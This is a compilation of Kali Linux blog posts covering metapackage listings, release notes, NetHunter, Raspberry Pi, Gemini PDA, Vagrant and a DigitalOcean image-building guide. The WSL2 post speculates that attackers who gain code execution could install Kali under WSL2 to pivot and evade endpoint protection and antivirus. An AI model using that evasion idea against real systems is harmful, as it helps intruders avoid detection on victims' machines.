These metapackages are used when generating our images

Old	New	Notes
kali-linux	kali-linux-core	Base Kali Linux System - core items that are always included
new	kali-linux-default	“Default” desktop (amd64/i386) images include these tools
new	kali-linux-light	Kali-Light images use this to be generated
new	kali-linux-arm	All tools suitable for ARM devices
kali-linux-nethunter	kali-linux-nethunter (same)	Tools used as part of Kali NetHunter

These entries are based around the Kali menu

Old	New	Notes
new	kali-tools-information-gathering	Used for Open-source Intelligence (OSINT) & information gathering
new	kali-tools-vulnerability	Vulnerability assessments tools
kali-linux-web	kali-tools-web	Designed doing web applications attacks
new	kali-tools-database	Based around any database attacks
kali-linux-pwtools	kali-tools-passwords	Helpful for password cracking attacks - Online & offline
kali-linux-wireless	kali-tools-wireless	All tools based around Wireless protocols - 802.11, Bluetooth, RFID & SDR
new	kali-tools-reverse-engineering	For reverse engineering binaries
new	kali-tools-exploitation	Commonly used for doing exploitation
new	kali-tools-social-engineering	Aimed for doing social engineering techniques
new	kali-tools-sniffing-spoofing	Any tools meant for sniffing & spoofing
new	kali-tools-post-exploitation	Techniques for post exploitation stage
kali-linux-forensics	kali-tools-forensics	Forensic tools - Live & Offline
new	kali-tools-reporting	Reporting tools

Tools

These are tool listing based on the category and type

Old	New	Notes
kali-linux-gpu	kali-tools-gpu	Tools which benefit from having access to GPU hardware
new	kali-tools-hardware	Hardware hacking tools
new	kali-tools-crypto-stego	Tools based around Cryptography & Steganography
new	kali-tools-fuzzing	For fuzzing protocols
new	kali-tools-802-11	802.11 (Commonly known as “Wi-Fi”)
new	kali-tools-bluetooth	For targeting Bluetooth devices
kali-linux-rfid	kali-tools-rfid	Radio-Frequency IDentification tools
kali-linux-sdr	kali-tools-sdr	Software-Defined Radio tools
kali-linux-voip	kali-tools-voip	Voice over IP tools
new	kali-tools-windows-resources	Any resources which can be executed on a Windows hosts

Misc

Useful metapackages which are “one off” groupings

Old	New	Notes
kali-linux-full	kali-linux-large	Our previous default tools for amd64/i386 images
kali-linux-all	kali-linux-everything	Every metapackage and tool listed here
kali-linux-top10	kali-tools-top10	The most commonly used tools
kali-desktop-live	kali-desktop-live (same)	Used during a live session when booted from the image
~~new~~	~~kali-tools-headless~~	~~Tools which do not require a GUI in order to access them~~

Courses

Tools used for OffSec’s courses

Old	New	Notes
new	offsec-awae	Advanced Web Attacks and Exploitation
new	offsec-pwk	Penetration Testing with Kali

Desktop Managers

Desktop Environment (DE) & Window Manager (WM)

Old	New	Notes
kali-desktop-common	kali-desktop-core	Any key tools required for a GUI image
new	kali-desktop-e17	Enlightenment (WM)
kali-desktop-gnome	kali-desktop-gnome (same)	GNOME (DE)
new	kali-desktop-i3	i3 (WM)
kali-desktop-kde	kali-desktop-kde (same)	KDE (DE)
kali-desktop-lxde	kali-desktop-lxde (same)	LXDE (WM)
new	kali-desktop-mate	MATE (DE)
~~new~~	~~kali-desktop-pantheon~~	~~Pantheon (DE)~~
kali-desktop-xfce	kali-desktop-xfce (same)	XFCE (WM)

If you wish to create your own metapackage, see how we do it here, before you create your own package.

Kali NetHunter App Store - Public Beta

Mon, 15 Jul 2019 00:00:00 +0000

Kali NetHunter has been undergoing a ton of changes of late. Now supporting over 50 devices and running on Android devices from KitKat (v4.4) to Pie (v9.0), its amazing the extra capabilities that have been introduced.

But, we don’t want to stop there. After a ton of work, we are really excited to introduce the Kali NetHunter App Store!

The New Android Store Dedicated to Free Security Apps

Originally meant to conveniently manage the packages on NetHunter devices, we soon realized that the NetHunter store should also be available for non-NetHunter devices. So here it is, available to everyone that would like the best of both worlds:

Ease of use and convenience of the Google Play Store
Freedom, anonymity and privacy of sideloaded applications

The Kali NetHunter App Store is a one stop shop for security relevant Android applications. It is the ultimate alternative to the Google Play store for any Android device, whether rooted or not, NetHunter or stock. If you are after any security application for your Android device, the NetHunter Store will be the place to get it.

The NetHunter store is powered by a slightly modified version of F-Droid, thanks to the hard work of the F-Droid community, in particular Peter Serwylo whose help was invaluable. Whilst F-Droid installs its clients with telemetry disabled and asks for consent before submitting crash reports, we went a step further and removed the entire code - just to make sure that our privacy cannot be compromised by accident.

We also widened the inclusion policy to allow proprietary applications into the store.

Call for Applications

If you are an application developer and you would like your application to be included in the NetHunter App Store, please let us know via a Request for packaging or in the forums.

Please note: We accept binary APK files as well as links to git repositories that we use to build the applications ourselves. Third party APK files are preferably signed by the original author whereas apps built by us from source are built using GitLab CI and are signed by us.

If you would like us to include an application that you are not the author of, please let us know and we’ll try to get the authors consent to publish it in our store.

More information about contributing applications can be found here

Call for Feedback

We encourage all Android users to head over to the NetHunter App Store (https://store.nethunter.com/), download the Store app, have a go and join us in the forums to give us feedback and get involved.

Call for Contributors

NetHunter is a community project. It is driven by the community for the community and it is a whole lot of fun. The project is centered around bringing Kali Linux to Android devices and to add a user experience that makes Android a valid alternative for certain areas of penetration testing and hacking.

Working on the NetHunter project, including the NetHunter Store, provides exposure to a wide variety of technologies, such as:

Android app development
Rooting Android & creating custom recovery installers
Kernel & kernel drivers, in particular WiFi
Kali Linux
All tools that ship with Kali Linux
Web technologies
Android package management
…and many more.

But most importantly:

Putting it all together and hack Radio frequency (RF), Wi-Fi, Apps and everything else you can get your hands on!

If you are good at any of the above, or you would like to become good at any of them, please join us in the forums or on IRC OFTC, #NetHunter](https://webchat.oftc.net/?randomnick=1&channels=nethunter).

Raspberry Pi 4 and Kali

Fri, 05 Jul 2019 00:00:00 +0000

We love the Raspberry Pi, and judging by the response we got to a late night tweet we sent out last weekend a lot of you love the Pi too!

Because of that, when the Pi 4 dropped we wanted to get Kali supported on it right away.

What’s new on the Raspberry Pi 4?

The Raspberry Pi 4 is actually a pretty amazing little machine. The Pi has always been known for its low cost and easy accessibility, but with the 4 we can actually throw real performance onto that list as well.

With the Raspberry Pi 4 we have a completely upgraded, re-engineered device that includes:

A more powerful CPU
Options for 1, 2, or 4 GB of RAM
USB-C power supply
USB 2 & USB 3
Gigabit ethernet
2 micro HDMI ports

And now you can add to that list full Kali Linux support complete with on-board wifi monitor mode & frame injection support!

To say we are excited about this is an understatement, and we hope many of you are just as excited!

Try it out!

You can download Kali Linux for the Raspberry Pi 4 on the Kali ARM download page. Currently we only have 32Bit support for it, but expect 64Bit in the near future. The installation instructions are not any different than the Pi2, so feel free to follow our docs on getting it setup if you don’t know how.

Once you have it running feel free to let us know how its working for you on our forums. Stay tuned for more Pi updates as we work with the 4 and find new and interesting things to do with it!

Kali Linux in the DigitalOcean Cloud

Tue, 02 Jul 2019 00:00:00 +0000

DigitalOcean is a cloud provider similar to AWS, Microsoft Azure, Google Cloud Platform, and many others. They offer instances, called “droplets”, with different Linux distributions such as Debian, Ubuntu, FreeBSD, etc. Similar to AWS, DigitalOcean has datacenters around the world and sometimes multiple datacenters in each country.

However, one feature in particular sets them apart them from their competitors. A little while ago, they added support for custom images, which allows users to import virtual machine disks and use them as droplets. This is perfect for us as we can use our own version of Kali Linux in their cloud.

While it might be possible to load the official Kali Linux virtual images, it wouldn’t be very efficient. Instead, we’ll build a lightweight Kali installation with the bare minimum to get it working.

Generate an ISO

By default, the Kali Linux ISOs have a GUI installed, and while we could use it, we want to minimize the amount of data we have to upload to DigitalOcean for reasons we will talk about later. Having a GUI running on a headless system is also a waste of resources so while we could uninstall it or disable it, we’ll just generate a custom Kali ISO without a GUI or any other tools installed. Building the ISO will require around 5 GB of hard drive space so make sure you have enough if you’re following along.

First, we’ll make sure the system is up to date:

apt update
apt -y full-upgrade

In case a new kernel was installed, let’s reboot the system before continuing and then proceed to start the build:

apt -y install git live-build cdebootstrap devscripts
git clone https://gitlab.com/kalilinux/build-scripts/live-build-config.git
cd live-build-config
./build.sh --variant minimal --verbose

It will take a while to build the ISO as it needs to download a lot of packages and assemble them. In the meantime, enjoy a nice cup of joe. Or tea.

The ‘–verbose’ option will display the build log on the screen. It can however be removed, and instead progress can be followed in the build.log file:

tail -f build.log

Once our prompt returns on the terminal where ‘build.sh’ was launched, the ISO is ready and can be found in the images/ directory.

Create the Virtual Machine

With our ISO built, we can now begin to build our virtual machine. Create a new virtual machine setting the OS to the latest Debian 64 bit and allocating a 20 GB hard disk. If needed, detailed set-up is explained on the Kali Training website. It is important to store the virtual disk as a single file that is dynamically allocated. The rest like the amount of CPU and RAM won’t matter because only the disk file will be uploaded to DigitalOcean.

Disk size matters as billing is based on disk size for custom images. It will also impact the choice of instance we can create. Let’s say a 40 GB hard disk is created, it will fail creating an instance at the $5/month level because its maximum hard disk size is 25 GB. In that case we would be forced to use the $10/month option for instances with 50 GB disks. Don’t worry, even though the disk is 20 GB, it will get expanded depending on the droplet plan chosen.

During the installation, select manual partitioning and set it up as shown below, with all files in one partition and no swap file.

Update the System

When installation is complete and after rebooting, we login at the console and update the system:

apt update
apt -y full-upgrade

If you don’t see it going over a mirror during ‘apt update’, you may have accidentally forgotten to add a network mirror during the installation. Follow the instructions on the Kali-Docs site to fix it and run both of the commands again.

Install Required Packages

In order for DigitalOcean to configure the system for us, we need to install the cloud-init package:

apt -y install cloud-init
echo 'datasource_list: [ ConfigDrive, DigitalOcean, NoCloud, None ]' > /etc/cloud/cloud.cfg.d/99_digitalocean.cfg
systemctl enable cloud-init

Update GRUB

When booting, the disk is attached and mapped as sda1. However, with the droplets, it is seen as vda1. To remedy this, we need to change all instances of sda1 to vda1 in /boot/grub/grub.cfg:

sed -i 's/sda1/vda1/g' /boot/grub/grub.cfg

With the configuration file updated, we can run ‘update-grub’ to update the system:

update-grub

Prepare for SSH

Since we will need to use SSH to connect to the system on DigitalOcean, the openssh-server package needs to be installed (and enabled) as well:

apt -y install openssh-server
systemctl enable ssh.service

When creating a standard droplet, you can choose to use SSH keys or not. However, when using custom images, this isn’t an option and using SSH keys is mandatory. For this reason, DigitalOcean requires us to remove the root password:

passwd -d root

We also need to create a /root/.ssh folder:

mkdir /root/.ssh

Cleanup

Before we finish with our virtual machine, we run a few commands to clean things up:

apt autoremove
apt autoclean
rm -rf /var/log/*
history -c

At this point, our virtual machine is ready so we run ‘poweroff’ to shutdown the system:

poweroff

Uploading

In the virtual machine folder, locate the .vmdk file, then compress it using bzip2, gzip, or zip in preparation for uploading to DigitalOcean:

bzip2 kali.vmdk

Login to your DigitalOcean account. In the “Manage” section on the left, click on “Images”, then select the “Custom Images” tab.

From there, we upload the compressed disk image. We’ll name it Kali, mark it as Debian, and select the region and datacenter to upload it to. Note that once uploaded to a location, droplets can only be started at that location, which is a current limitation for custom images. Another thing to remember at this stage is that uploaded images consume disk space and DigitalOcean will bill based on disk usage.

Starting a Droplet

Once done, the “Uploaded” column will indicate how long ago it was uploaded. Now we will click on the “More” option of the image and select “Start a droplet”.

You will be taken to the droplet settings where you can select the droplet plan, the SSH key, and the project to start it in. Since this is a custom image, it is required you use a SSH key. You can either select an existing one or upload a new one by clicking on “New SSH key”, which will open the following screen where you can paste the public key and name it:

Once done, click “Create” as shown below. It will then take you back to the dashboard (Manage > Droplets) where all your droplets are listed. Because we are using a SSH key, DigitalOcean will not send an email with credentials for the droplet.

Within a few seconds, and after the IP is displayed, our droplet will be ready. In order to connect, we will need to use the private SSH key we created (called MY_KEY in this example):

user@computer:~$ ssh -i MY_KEY root@192.168.1.1
The authenticity of host '192.168.1.1 (192.168.1.1)' can't be established.
ECDSA key fingerprint is SHA256:d83fcd43d25e2a7edd291666160b47360cc85870ded.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'IP' (ECDSA) to the list of known hosts.
Linux kali-s-1vcpu-1gb-nyc3-01 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-2kali1 (2019-05-15) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Now we have a nice, minimal Kali Linux installation that we can deploy and customize as needed:

root@kali-s-1vcpu-1gb-nyc3-01:~# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2019.2
Codename: n/a
root@kali-s-1vcpu-1gb-nyc3-01:~# uname -a
Linux kali-s-1vcpu-1gb-nyc3-01 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-2kali1 (2019-05-15) x86_64 GNU/Linux
root@kali-s-1vcpu-1gb-lon1-01:~# free -h
total used free shared buff/cache available
Mem: 987Mi 51Mi 527Mi 1.0Mi 407Mi 790Mi
Swap: 0B 0B 0B

Kali Linux Roadmap (2019/2020)

Wed, 19 Jun 2019 00:00:00 +0000

Now that our 2019.2 release is out, we thought we would take this opportunity to cover some of the changes and new features we have coming to Kali Linux in the following year. Normally, we only really announce things when they are ready to go public, but a number of these changes are going to impact users pretty extensively so we wanted to share them early.

As you read through this post, what you will see is that we are really trying to balance our efforts between changes that are user facing and those that are applicable to the backend. The backend changes don’t seem as exciting at first, but the fact is that the easier it is for us to work on Kali, the easier it is for us to get to user facing features. Plus, some of these changes are focused on tweaking the development process to make it easier for others to get involved in the project.

We are not ready to announce dates on any of these changes just yet. When they are ready, they will drop.

GitLab - The New Home for Kali Packages

One of the biggest changes, which you may have already noticed, is our move of the Official Kali git repository to GitLab. With this change, it’s easier than ever for the community to submit improvements to Kali packages and for us to apply them! We expect to make an heavy use of the GitLab Continous Integration features to streamline our work on packages and to provide automated feedback to all the contributors submitting merge requests.

Documentation is coming soon on how to contribute packages. Expect a full guide to be published in our docs later.

Runtime Tests - Finding Bugs Before Users

Speaking of packages, the detection of bugs and problems with the packages is always something to improve. Until now, we have relied on manual testing on our part and user-provided bug reports. This works ok, as popular packages would never stay broken for long but some edge packages could break for months at a time before anyone would notice and actually report it to us. (Let’s be honest, most of the time when you find something broken in Kali, you don’t create a bug report do you?)

To improve this situation, we have recently deployed debci on autopkgtest.kali.org. This allows us to have our own continuous integration system, allowing for automated testing of Kali packages on a regular basis. We have integrated the result of those tests in the Kali Package Tracker.

For this infrastructure to be as useful as it can be, we will need to have runtime tests on all our packages, which is still a long way off. Hopefully, this will be a place where we get community help to speed up the process, so feel free to submit merge requests adding tests!

Metapackages - What is Installed by Default

One of the biggest challenges with running a project like Kali Linux is balance. We now have so many users that there’s no longer “one right size”. Traditionally, what people have asked for is “all the tools, all the time”. But as time has gone by, this has led to one of the largest (pun fully intended) issues with Kali: Bloat. Too many packages making too big of a distribution, large ISO sizes, etc. etc.

To address this, we are giving our metapackages a refresh. This change includes the default Kali metapackage, “kali-linux-full”, the metapackage that controls what packages are installed on Kali by default. Needless to say, this is a big user-facing change that will impact everyone. Tools that we decide to drop are most often older tools that don’t have a lot of modern utility, have not been updated in years, or have been supplanted by newer better tools.

What this means is that by default, some of the tools you may have relied upon may no longer be included by default. These tools will still exist in the repo, so you can install them manually or use a metapackage that contains them. You can see full documentation of the metapackages and what they contain at kali.org/docs/general-use/metapackages/

Before these changes go live, we will do another blog post detailing them. Expect that these metapackages will be in flux for a bit as we continue to optimize.

Default Shell - Your Primary Kali Interface

The shell in Kali is likely the most used utility in the entire distribution for the majority of users. This creates a bit of a schizophrenic challenge in that it’s used so much we want to improve it, but at the same time we have to make sure it does not break.

To address this, we will be adding default installations of ZSH and FISH to Kali. Each of these shells are optimized for penetration testers, which is sort of fun. Most of the time when you look at shell optimization, all the text is focused on developers, which is not where Kali sits. Our goal here is to have the best, most optimized, shell environment for penetration testers.

At the same time, good old Bash won’t go away and we are going to leave it as the default for now. Those of you that want to be adventurous and try the new shells will find easy ways to switch. Those of you that just want to stick with Bash will still be able to. Expect in-shell instructions (and a blog post) when this change is rolled out.

Documentation - Read The Fine Manual

Expect some changes to kali.org/docs/ and kali.org/tools/, along with an integration of the Kali manual into git via markdown. This will allow for user submitted documentation to help us keep instructions up to date and accurate. This is another great way for you to contribute to the Kali Linux project.

NetHunter - New Blood

As you may have noticed on Twitter and git commits, we have got another developer on board, “@Re4son”, and he has put the NetHunter project into overdrive. He is working on supporting new hardware, working with the latest version of Android, and various bug fixes.

There is also “Project Redback”, but that is all we are going to say about that for the time being…more about this in a blog post very soon.

What Else can we Expect?

This is just the portion of the roadmap that makes sense to talk about now. There is a lot more in development that we are just not ready to talk about yet.

We also would like to welcome @g0tmi1k who has switched over from OffSec as a full time core Kali developer.

We are at a really exciting stage of the Kali development process, where a lot of the behind the scenes items we have been working on are getting ready to go public. Expect a fair amount of improvements in Kali Linux over the next half of the year. If you want to discuss this post with us or have ideas on things that we might consider, please get in touch via the forum.

WSL2 and Kali

Thu, 13 Jun 2019 00:00:00 +0000

Kali Linux has had support for WSL for some time, but its usefulness has been somewhat limited. This was mostly due to restrictions placed on some system calls , most importantly those revolving around networking. Furthermore, additional issues with speed, specifically I/O, were also problematic. Because of this, Kali WSL has mostly been relegated to reporting functions after an assessment is completed. A cool technology, and certainly an amazing engineering feat, but as is, it just was not that useful in the field.

When WSL 2 was announced however, we were excited about what this could mean for actually making Kali WSL more useful in. As such, when we saw that WSL 2 was available in the Windows Insiders program we wanted to jump right on it and see what improvements were made.

WSL2 Conversion

After you have the new Windows Insider build installed, converting Kali WSL 1 to 2 is very easy.

This was a great surprise for us, as it also means we don’t have to do anything on our end to support WSL2. Kali’s current WSL distribution will work just fine, and you can convert your existing installation easily. According to the docs you can also set WSL2 as your default if you don’t have a Kali installed yet.

Overall, this was a great surprise, and means Kali is ready for WSL 2 today.

Kali WSL 2 Usage

Ok, so WSL 2 works with Kali, but is it useful? We are just starting to play with WSL 2, so it’s really too early to say. However there are a few quick observations we have.

Basic usage, such as updating Kali and installing packages, appears to work just fine.

However, simply installing something is not that interesting, The question is: does it work? One specific tool we wanted to immediately check was Nmap, which has always been a WSL pain point. As you can see from the screenshot, a basic Nmap scan works right out of the box! Thats great news and is very promising for WSL 2 as it continues development.

That should not be a great surprise however, as WSL 2 at its core is really a low overhead and optimized VM. This has brought about some changes for those of us who have been using WSL for a while. These changes fall mostly along the lines of process spaces, networking, and filesystem interaction. This brings up some items we will have to watch as WSL continues to mature.

All networking appears to be NATed in the current release.

Microsoft states:

In the initial builds of the WSL 2 preview, you will need to access any Linux server from Windows using the IP address of your Linux distro, and any Windows server from Linux using the IP address of your host machine. This is something that is temporary, and very high on our priority list to fix.

So, no bridged mode. Anyone who uses Kali in a VM knows that for an actual assessment work it’s always better to run Kali in bridged mode, not NAT. With the current release, reverse shells are really not going to be an easy option without playing around with port forwarding on the Windows side. Additionally, we don’t yet know the strength of the NAT engine. While scans ran through WSL2 are now possible, their results will remain questionable until we find how much the NAT engine impacts them.

As it is in a VM, the process space is separate.

This is interesting, as it might actually open up Kali WSL 2 to be a useful endpoint protection bypass. If you get code execution on a Windows 10 system that supports WSL 2, could you install a Kali instance and pivot from there instead of the base operating system? This remains to be seen as this is still in development and Microsoft seems to want to unify the Linux and Windows experience as much as possible. The end point protection programs might become “WSL Aware”, which makes this is an interesting item to watch.

WSL 2’s filesystem is now in a virtual disk.

Similar to traditional VMs, there is now a virtual disk that holds the WSL 2 instance. In the past, one of the WSL issues that would come up is that many Kali tools would trigger anti-virus protections. To keep Kali WSL useful you would have to make exclusions for the location in which the Kali files were saved on the Windows filesystem.

Now that it’s in a virtual disk, much like the process space isolation, it will remain to be seen how AV might deal with it. Currently, it appears that AV ignores this virtual disk and its contents but as WSL reaches general availability it is possible AV products will become WSL 2 aware. Again, something we will need to watch.

Overall

As it stands, WSL 2 is an exciting technology and most definitely worth paying attention to. This is the first public beta and a lot will change over time. As such, we will track its development and see what we can do to make WSL 2 more useful for our purposes. As it stands however, it already seems more useful than what we have experienced with WSL 1 for actual production use. However, WSL 1 is still supported on a WSL 2 system so if you are a WSL user you can pick what’s best for you.

Kali Linux 2019.2 Release

Tue, 21 May 2019 00:00:00 +0000

Welcome to our second release of 2019, Kali Linux 2019.2, which is available for immediate download. This release brings our kernel up to version 4.19.28, fixes numerous bugs, includes many updated packages, and most excitingly, features a new release of Kali NetHunter!

Kali NetHunter 2019.2 Release

Thanks to the tireless contributions from the vibrant NetHunter community led by @Re4son, @binkybear, @fattire, @jmingov, @jcadduono, @Kimocoder, and @PaulWebSec, NetHunter now supports over 50 devices running all the latest Android versions, from KitKat through to Pie. To celebrate this milestone, we have released 13 new NetHunter images for the latest Android versions of our favourite devices, including:

Nexus 6 running Pie
Nexus 6P, Oreo
OnePlus2, Pie
Galaxy Tab S4 LTE & WiFi, Oreo

These and many more can be downloaded from our NetHunter page. If you cannot find an image for your favourite device and you are interested in porting NetHunter, we would love for you to join our community and give it a crack. More information can be found at our new home on kali-docs.

Tool Upgrades

This release largely features various tweaks and bug fixes but there are still many updated tools including seclists, msfpc, and exe2hex.

For the complete list of updates, fixes, and additions, please refer to the Kali Bug Tracker Changelog.

ARM Updates

For our ARM users, be aware that the first boot will take a bit longer than usual, as it requires the reinstallation of a few packages on the hardware. This manifests as the login manager crashing a few times until the packages finish reinstalling and is expected behaviour.

Download Kali Linux 2019.2

If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the Kali Downloads page along with links to the OffSec virtual machine and ARM images, which have also been updated to 2019.2. If you already have a Kali installation you’re happy with, you can easily upgrade in place as follows:

root@kali:~# apt update && apt -y full-upgrade

Ensuring your Installation is Updated

To double check your version, first make sure your Kali package repositories are correct:

root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free

Then after running ‘apt -y full-upgrade’, you may require a ‘reboot’ before checking:

root@kali:~# grep VERSION /etc/os-release
VERSION="2019.2"
VERSION_ID="2019.2"
root@kali:~# uname -a
Linux kali 4.19.0-kali4-amd64 #1 SMP Debian 4.19.28-2kali1 (2019-03-18) x86_64 GNU/Linux

If you come across any bugs in Kali, please open a report on our bug tracker. We’ll never be able to fix what we don’t know about.

Kali Linux 2019.1 Release

Mon, 18 Feb 2019 00:00:00 +0000

Welcome to our first release of 2019, Kali Linux 2019.1, which is available for immediate download. This release brings our kernel up to version 4.19.13, fixes numerous bugs, and includes many updated packages.

Tool Upgrades

The big marquee update of this release is the update of Metasploit to version 5.0, which is their first major release since version 4.0 came out in 2011:

root@kali:~# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v5.0.2-dev ]
+ -- --=[ 1852 exploits - 1046 auxiliary - 325 post ]
+ -- --=[ 541 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
+ -- --=[ ** This is Metasploit 5 development branch ** ]
msf5 >

Metasploit 5.0 is a massive update that includes database and automation APIs, new evasion capabilities, and usability improvements throughout. Check out their in-progress release notes to learn about all the new goodness

Kali Linux 2019.1 also includes updated packages for theHarvester, DBeaver, and more. For the complete list of updates, fixes, and additions, please refer to the Kali Bug Tracker Changelog.

ARM Updates

The 2019.1 Kali release for ARM includes the return of Banana Pi and Banana Pro, both of which are on the 4.19 kernel. Veyron has been moved to a 4.19 kernel and the Raspberry Pi images have been simplified so it is easier to figure out which one to use. There are no longer separate Raspberry Pi images for users with TFT LCDs because we now include @Re4son’s kalipi-tft-config script on all of them, so if you want to set up a board with a TFT, run ‘kalipi-tft-config’ and follow the prompts.

Download Kali Linux 2019.1

If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the Kali Downloads page along with links to the OffSec virtual machine and ARM images, which have also been updated to 2019.1. If you already have a Kali installation you’re happy with, you can easily upgrade in place as follows:

root@kali:~# apt update && apt -y full-upgrade

Ensuring your Installation is Updated

To double check your version, first make sure your Kali package repositories are correct:

root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free

Then after running ‘apt -y full-upgrade’, you may require a ‘reboot’ before checking:

root@kali:~# grep VERSION /etc/os-release
VERSION="2019.1"
VERSION_ID="2019.1"
root@kali:~#
root@kali:~# uname -a
Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux

If you come across any bugs in Kali, please open a report on our bug tracker. We’ll never be able to fix what we don’t know about.

Kali Linux for the Gemini PDA

Tue, 04 Dec 2018 00:00:00 +0000

Running Kali on a Gem

The Gemini PDA from Planet Computers is an ultra-thin, clamshell mobile device with a tactile keyboard. Sporting a 5.99" screen, QWERTY keyboard, 4G & Wi-Fi, deca-core CPU, and an Open-source bootloader that supports multi-boot, it caught our attention straight away when it popped up on Indiegogo. It is a great little pocket rocket and having a landscape orientation and hardware keyboard, is well suited for a native Kali installation with a full LXQT desktop environment.

Hardware Specs

MediaTek Deca Core Helio, with either X25 or X27 chipset
CPU: 2x Cortex A72 @2.6GHz, 4x Cortex A53 @2.0GHz, 4x Cortex A53 @1.6GHz
GPU: ARM Mali T880 MP4 @875MHz
RAM: 4GB
Flash: 64GB plus micro SD card support

More: en.wikipedia.org/wiki/Gemini_(PDA)

Operating Systems

Multiboot any one, two, or three of the following five operating systems: Android, rooted Android, Sailfish, Debian, Kali Linux. The image we provide on our download page includes the following two partitions:

Android (rooted), 16 GB. To boot Android, just press and hold the “On” (Esc) key until it vibrates
Kali Linux, 40 GB. To boot Kali, press and hold the “On” (Esc) key until it vibrates and then quickly press the silver “Voice Assist” button on the right hand side of the device

Kernel

Our Gemini image contains a Kali Linux fork of the Gemini-Android kernel 3.18 with injection support for all your favourite Wi-Fi chips.

Desktop Environment

LXQT with SDDM is lightweight, provides great scaling for tiny screens, has good touch support, and a slick modern layout. Whilst using the tiny touchscreen looks a bit intimidating initially, it is surprisingly finger friendly. We don’t bother using a mouse anymore with this device.

Linux / Android integration

Being basically a pimped up cell phone requires a convergence of Linux (glibc) and Android (bionic) to drive the hardware not yet natively supported by GNU/Linux. We are using components from the Halium project to achieve that.

Bringing GNU/Linux to the Gemini PDA, or any other mobile platform, is in the very early stages and some of it still needs a bit of work, such as data and voice support, GPS, power management, etc. There is currently one known issue with the Gemini having occasional issues when shutting down. The community is currently working on it.

Overall, it’s a very stable experience thanks to the hard work of the Sailfish and Gemian communities, in particular TheKit and adam_b, who brought Gemian to the Gemini PDA and helped a lot with this project.

Installation

We have published a Gemini installation guide on our documentation site to get you up and running quickly.

Support

Linux on the Gemini PDA is very experimental with limited manufacturer support and some hardware is not natively supported by Linux, requiring some community hacks. OffSec does not provide technical support for the Gemini. Support for Kali on the Gemini can be obtained via various methods listed on the Kali Linux Community page.

Wrapping Up

The Gemini PDA is a nifty little powerhouse that combines the charm and handling of the good old Psion series with the power of a modern ARM64, making it the ideal mobile platform for a desktop version of Kali Linux with touch support.

With the community demand for Kali Linux on the Gemini and considering that the manufacturer has just launched a new crowd funding campaign for another device, having a Kali platform for this particular hardware segment is setting us up for exciting times ahead.

Kali Linux 2018.4 Release

Mon, 29 Oct 2018 00:00:00 +0000

Welcome to our fourth and final release of 2018, Kali Linux 2018.4, which is available for immediate download. This release brings our kernel up to version 4.18.10, fixes numerous bugs, includes many updated packages, and a very experimental 64-bit Raspberry Pi 3 image.

New Tools and Tool Upgrades

We have only added one new tool to the distribution in this release cycle but it’s a great one. Wireguard is a powerful and easy to configure VPN solution that eliminates many of the headaches one typically encounters setting up VPNs. Check out our Wireguard post for more details on this great addition.

Kali Linux 2018.4 also includes updated packages for Burp Suite, Patator, Gobuster, Binwalk, Faraday, Fern-Wifi-Cracker, RSMangler, theHarvester, wpscan, and more. For the complete list of updates, fixes, and additions, please refer to the Kali Bug Tracker Changelog.

64-bit Raspberry Pi 3

We have created a very experimental Raspberry Pi 3 image that supports 64-bit mode. Please note that this is a beta image, so if you discover anything that isn’t working, please alert us on our bug tracker.

Download Kali Linux 2018.4

If you would like to check out this latest and greatest Kali release, you can find download links for ISOs and Torrents on the Kali Downloads page along with links to the OffSec virtual machine and ARM images, which have also been updated to 2018.4. If you already have a Kali installation you’re happy with, you can easily upgrade in place as follows:

root@kali:~# apt update && apt -y full-upgrade

Ensuring your Installation is Updated

To double check your version, first make sure your Kali package repositories are correct:

root@kali:~# cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free

Then after running ‘apt -y full-upgrade’, you may require a ‘reboot’ before checking:

root@kali:~# grep VERSION /etc/os-release
VERSION="2018.4"
VERSION_ID="2018.4"
root@kali:~#
root@kali:~# uname -a
Linux kali 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux

If you come across any bugs in Kali, please open a report on our bug tracker. We’ll never be able to fix what we don’t know about.

Announcing Kali for Vagrant

Tue, 09 Oct 2018 00:00:00 +0000

Inspired by a recent community blog post, we have decided to add a new official way for our community to use Kali. Starting now, you can find an officially maintained Kali Linux image in the Vagrant Cloud.

What is Vagrant?

From Vagrant’s website:

Vagrant is a tool for building and managing virtual machine environments in a single workflow.

Put simply, with a single configuration file, you can download a base “box” and apply additional configurations like adding an additional network interface, setting the number of CPU cores and memory, or running a script on first boot. Even more importantly, all of this is contained in a configuration file, which is very easy to share compared to a virtual machine that spans many gigabytes.

Getting Started

To get started, first install Vagrant and VirtualBox. Then create an empty directory and from there run the following command:

$ vagrant init kalilinux/rolling
A `Vagrantfile` has been placed in this directory. You are now
ready to `vagrant up` your first virtual environment! Please read
the comments in the Vagrantfile as well as documentation on
`vagrantup.com` for more information on using Vagrant.

This will create a file named Vagrantfile, which contains all the configuration options for the virtual machine. Every ‘vagrant’ command must be run from the directory containing that file. By default, it contains only the box name as well as many commented common options. We’ll review some of those later, but here is an excerpt:

$ cat Vagrantfile
# -*- mode: ruby -*-
# vi: set ft=ruby :
# All Vagrant configuration is done below. The "2" in Vagrant.configure
# configures the configuration version (we support older styles for
# backwards compatibility). Please don't change it unless you know what
# you're doing.
Vagrant.configure("2") do |config|
# The most common configuration options are documented and commented below.
# For a complete reference, please see the online documentation at
# https://docs.vagrantup.com.
# Every Vagrant development environment requires a box. You can search for
